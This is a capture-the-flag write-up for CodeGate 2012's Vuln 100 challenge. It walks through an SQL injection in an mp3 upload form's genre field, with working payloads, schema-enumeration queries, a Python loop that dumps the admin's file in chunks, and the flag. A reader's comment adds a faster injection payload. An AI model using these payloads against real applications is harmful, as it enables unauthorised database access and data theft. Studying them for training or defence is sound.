CodeGate 2012 Quals – Vuln 100

This challenge is a web service where one can upload mp3 files and listen to them.

Our aim is to get admin’s song.

Summary: sql injection

Files uploading takes 3 parameters: mp3, genre and title. After some tries it’s easy to see, that there’s SQL Injection in genre field.

We can guess that the query is like:
INSERT INTO some_table (mp3, genre, title) VALUES ("....", GENRE, "TITLE");

Let’s send genre = 3,(SELECT 123+123)) --

The result:

Now we can make any query we want. Let’s look at databases and tables:
vuln100query.py

$ py vuln100query.py "SELECT schema_name FROM information_schema.schemata LIMIT 1, 1"
codegate_mp3
$ hexenc codegate_mp3
636f6465676174655f6d7033
$ py vuln100query.py "SELECT table_name FROM information_schema.tables WHERE table_schema=0x636f6465676174655f6d7033 LIMIT 0, 1"
upload_mp3_101_50_134_99

Looks like there’s a table for all visitors’ IP addresses. Admin should have IP 127.0.0.1, right?

$ hexenc 'upload_mp3_127_0_0_1'
75706c6f61645f6d70335f3132375f305f305f31
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 0,1"
idx
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 1,1"
genre
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 2,1"
title
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 3,1"
file

So, the table name is upload_mp3_127_0_0_1 and there are 4 fields: idx, genre, title, file.

If we try to get file, we’ll receive only first 32767 bytes because the title field is of that size. But the mp3 file looks to be larger!

We can dump the file by 32767 blocks using SUBSTR:
full script

f = open("out.mp3","w")
s = ""
for i in range(1000):
	s1 = query("select hex(substr(file, 1+%d, 30000)) from upload_mp3_127_0_0_1" % (i*30000))
	if s1 != s: 
		s = s1
		f.write(s.decode("hex"))
		print i
	else:
		quit()

The result: out.mp3

Listen and write the flag: UPL04D4NDP14Y

4 comments

1 ping

Skip to comment form

    • nowz on February 26, 2012 at 14:39
    • Reply

    Amazing! Really great job

    • sleepya on February 26, 2012 at 14:51
    • Reply

    nice writeup.
    To get file quicker, use
    genre = 2, 0x41),(1000, (select file from upload_mp3_127_0_0_1), 3

    Then browse
    /mp3_world/get_music.php?idx=1000

  1. Oh, really :) Nice approach!

  2. nice writeup :) Thanks

Leave a Reply

Your email address will not be published.